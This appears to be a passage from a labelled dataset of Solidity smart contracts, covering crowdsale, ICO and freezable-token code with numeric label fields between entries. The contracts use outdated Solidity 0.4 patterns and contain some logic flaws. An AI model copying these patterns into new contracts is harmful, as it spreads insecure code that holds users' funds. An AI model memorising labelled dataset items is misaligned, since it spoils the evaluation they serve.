uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint public joinedCrowdsalesLen = 0;
address public lastCrowdsale;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if(tokenAmount > earlyParticipantWhitelist[receiver].maxCap) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
if (isWhiteListed) {
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParicipantWhitelist(msg.sender, this, tokenAmount);
}
}
}
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status, uint minCap, uint maxCap) onlyOwner {
if (!isWhiteListed) throw;
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
Whitelisted(addr, status);
}
function setEarlyParicipantsWhitelist(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) onlyOwner {
if (!isWhiteListed) throw;
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParicipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateEarlyParicipantWhitelist(address addr, address contractAddr, uint tokensBought) {
if (tokensBought < earlyParticipantWhitelist[addr].minCap) throw;
if (!isWhiteListed) throw;
if (addr != msg.sender && contractAddr != msg.sender) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function updateJoinedCrowdsales(address addr) onlyOwner {
joinedCrowdsales[joinedCrowdsalesLen++] = addr;
}
function setLastCrowdsale(address addr) onlyOwner {
lastCrowdsale = addr;
}
function clearJoinedCrowdsales() onlyOwner {
joinedCrowdsalesLen = 0;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) onlyOwner {
clearJoinedCrowdsales();
for (uint iter = 0; iter < addrs.length; iter++) {
if(joinedCrowdsalesLen == joinedCrowdsales.length) {
joinedCrowdsales.length += 1;
}
joinedCrowdsales[joinedCrowdsalesLen++] = addrs[iter];
if (iter == addrs.length - 1)
setLastCrowdsale(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(time > endsAt) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
if (time > crowdsale.startsAt()) throw;
}
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentage;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
function setReservedTokensList(address addr, uint inTokens, uint inPercentage) onlyOwner {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
reservedTokensList[addr] = ReservedTokensData({inTokens:inTokens, inPercentage:inPercentage});
}
function getReservedTokensListValInTokens(address addr) constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedTokensListValInPercentage(address addr) constant returns (uint inPercentage) {
return reservedTokensList[addr].inPercentage;
}
function setReservedTokensListMultiple(address[] addrs, uint[] inTokens, uint[] inPercentage) onlyOwner {
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentage[iterator]);
}
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed) CrowdsaleExt(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) {
maximumSellableTokens = _maximumSellableTokens;
}
event MaximumSellableTokensChanged(uint newMaximumSellableTokens);
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isBreakingInvestorCap(address addr, uint tokenAmount) constant returns (bool limitBroken) {
if (!isWhiteListed) throw;
uint maxCap = earlyParticipantWhitelist[addr].maxCap;
return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableTokenExt mintableToken = MintableTokenExt(token);
mintableToken.mint(receiver, tokenAmount);
}
function setMaximumSellableTokens(uint tokens) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
maximumSellableTokens = tokens;
MaximumSellableTokensChanged(maximumSellableTokens);
}
}
| 0 | 933 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ManagedToken{
function setLock(bool _newLockState) public returns (bool success);
function mint(address _for, uint256 _amount) public returns (bool success);
function demint(address _for, uint256 _amount) public returns (bool success);
function decimals() view public returns (uint8 decDigits);
function totalSupply() view public returns (uint256 supply);
function balanceOf(address _owner) view public returns (uint256 balance);
}
contract HardcodedCrowdsale {
using SafeMath for uint256;
enum ICOStateEnum {NotStarted, Started, Refunded, Successful}
address public owner = msg.sender;
ManagedToken public managedTokenLedger;
string public name = "Coinplace";
string public symbol = "CPL";
bool public halted = false;
uint256 public minTokensToBuy = 100;
uint256 public ICOcontributors = 0;
uint256 public ICOstart = 1521518400;
uint256 public ICOend = 1526857200;
uint256 public Hardcap = 20000 ether;
uint256 public ICOcollected = 0;
uint256 public Softcap = 200 ether;
uint256 public ICOtokensSold = 0;
uint256 public TakedFunds = 0;
ICOStateEnum public ICOstate = ICOStateEnum.NotStarted;
uint8 public decimals = 9;
uint256 public DECIMAL_MULTIPLIER = 10**uint256(decimals);
uint256 public ICOprice = uint256(1 ether).div(1000);
uint256[4] public ICOamountBonusLimits = [5 ether, 20 ether, 50 ether, 200 ether];
uint256[4] public ICOamountBonusMultipierInPercent = [103, 105, 107, 110];
uint256[5] public ICOweekBonus = [130, 125, 120, 115, 110];
mapping(address => uint256) public weiForRefundICO;
mapping(address => uint256) public weiToRecoverICO;
mapping(address => uint256) public balancesForICO;
event Purchased(address indexed _from, uint256 _value);
function advanceState() public returns (bool success) {
transitionState();
return true;
}
function transitionState() internal {
if (now >= ICOstart) {
if (ICOstate == ICOStateEnum.NotStarted) {
ICOstate = ICOStateEnum.Started;
}
if (Hardcap > 0 && ICOcollected >= Hardcap) {
ICOstate = ICOStateEnum.Successful;
}
} if (now >= ICOend) {
if (ICOstate == ICOStateEnum.Started) {
if (ICOcollected >= Softcap) {
ICOstate = ICOStateEnum.Successful;
} else {
ICOstate = ICOStateEnum.Refunded;
}
}
}
}
modifier stateTransition() {
transitionState();
_;
transitionState();
}
modifier notHalted() {
require(!halted);
_;
}
event OwnershipTransferred(address indexed viousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return managedTokenLedger.balanceOf(_owner);
}
function totalSupply() view public returns (uint256 balance) {
return managedTokenLedger.totalSupply();
}
function HardcodedCrowdsale (address _newLedgerAddress) public {
require(_newLedgerAddress != address(0));
managedTokenLedger = ManagedToken(_newLedgerAddress);
assert(managedTokenLedger.decimals() == decimals);
}
function setNameAndTicker(string _name, string _symbol) onlyOwner public returns (bool success) {
require(bytes(_name).length > 1);
require(bytes(_symbol).length > 1);
name = _name;
symbol = _symbol;
return true;
}
function setLedger (address _newLedgerAddress) onlyOwner public returns (bool success) {
require(_newLedgerAddress != address(0));
managedTokenLedger = ManagedToken(_newLedgerAddress);
assert(managedTokenLedger.decimals() == decimals);
return true;
}
function () payable stateTransition notHalted external {
require(msg.value > 0);
require(ICOstate == ICOStateEnum.Started);
assert(ICOBuy());
}
function finalize() stateTransition public returns (bool success) {
require(ICOstate == ICOStateEnum.Successful);
owner.transfer(ICOcollected - TakedFunds);
return true;
}
function setHalt(bool _halt) onlyOwner public returns (bool success) {
halted = _halt;
return true;
}
function calculateAmountBoughtICO(uint256 _weisSentScaled, uint256 _amountBonusMultiplier)
internal returns (uint256 _tokensToBuyScaled, uint256 _weisLeftScaled) {
uint256 value = _weisSentScaled;
uint256 totalPurchased = 0;
totalPurchased = value.div(ICOprice);
uint256 weekbonus = getWeekBonus(totalPurchased).sub(totalPurchased);
uint256 forThisRate = totalPurchased.mul(_amountBonusMultiplier).div(100).sub(totalPurchased);
value = _weisSentScaled.sub(totalPurchased.mul(ICOprice));
totalPurchased = totalPurchased.add(forThisRate).add(weekbonus);
return (totalPurchased, value);
}
function getBonusMultipierInPercents(uint256 _sentAmount) public view returns (uint256 _multi) {
uint256 bonusMultiplier = 100;
for (uint8 i = 0; i < ICOamountBonusLimits.length; i++) {
if (_sentAmount < ICOamountBonusLimits[i]) {
break;
} else {
bonusMultiplier = ICOamountBonusMultipierInPercent[i];
}
}
return bonusMultiplier;
}
function getWeekBonus(uint256 amountTokens) internal view returns(uint256 count) {
uint256 countCoints = 0;
uint256 bonusMultiplier = 100;
if(block.timestamp <= (ICOstart + 1 weeks)) {
countCoints = amountTokens.mul(ICOweekBonus[0] );
} else if (block.timestamp <= (ICOstart + 2 weeks) && block.timestamp <= (ICOstart + 3 weeks)) {
countCoints = amountTokens.mul(ICOweekBonus[1] );
} else if (block.timestamp <= (ICOstart + 4 weeks) && block.timestamp <= (ICOstart + 5 weeks)) {
countCoints = amountTokens.mul(ICOweekBonus[2] );
} else if (block.timestamp <= (ICOstart + 6 weeks) && block.timestamp <= (ICOstart + 7 weeks)) {
countCoints = amountTokens.mul(ICOweekBonus[3] );
} else {
countCoints = amountTokens.mul(ICOweekBonus[4] );
}
return countCoints.div(bonusMultiplier);
}
function ICOBuy() internal notHalted returns (bool success) {
uint256 weisSentScaled = msg.value.mul(DECIMAL_MULTIPLIER);
address _for = msg.sender;
uint256 amountBonus = getBonusMultipierInPercents(msg.value);
var (tokensBought, fundsLeftScaled) = calculateAmountBoughtICO(weisSentScaled, amountBonus);
if (tokensBought < minTokensToBuy.mul(DECIMAL_MULTIPLIER)) {
revert();
}
uint256 fundsLeft = fundsLeftScaled.div(DECIMAL_MULTIPLIER);
uint256 totalSpent = msg.value.sub(fundsLeft);
if (balanceOf(_for) == 0) {
ICOcontributors = ICOcontributors + 1;
}
managedTokenLedger.mint(_for, tokensBought);
balancesForICO[_for] = balancesForICO[_for].add(tokensBought);
weiForRefundICO[_for] = weiForRefundICO[_for].add(totalSpent);
weiToRecoverICO[_for] = weiToRecoverICO[_for].add(fundsLeft);
Purchased(_for, tokensBought);
ICOcollected = ICOcollected.add(totalSpent);
ICOtokensSold = ICOtokensSold.add(tokensBought);
return true;
}
function recoverLeftoversICO() stateTransition notHalted public returns (bool success) {
require(ICOstate != ICOStateEnum.NotStarted);
uint256 value = weiToRecoverICO[msg.sender];
delete weiToRecoverICO[msg.sender];
msg.sender.transfer(value);
return true;
}
function refundICO() stateTransition notHalted public returns (bool success) {
require(ICOstate == ICOStateEnum.Refunded);
uint256 value = weiForRefundICO[msg.sender];
delete weiForRefundICO[msg.sender];
uint256 tokenValue = balancesForICO[msg.sender];
delete balancesForICO[msg.sender];
managedTokenLedger.demint(msg.sender, tokenValue);
msg.sender.transfer(value);
return true;
}
function withdrawFunds() onlyOwner public returns (bool success) {
require(Softcap <= ICOcollected);
owner.transfer(ICOcollected - TakedFunds);
TakedFunds = ICOcollected;
return true;
}
function manualSendTokens(address rAddress, uint256 amount) onlyOwner public returns (bool success) {
managedTokenLedger.mint(rAddress, amount);
balancesForICO[rAddress] = balancesForICO[rAddress].add(amount);
Purchased(rAddress, amount);
ICOtokensSold = ICOtokensSold.add(amount);
return true;
}
function cleanup() onlyOwner public {
selfdestruct(owner);
}
}
| 0 | 928 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
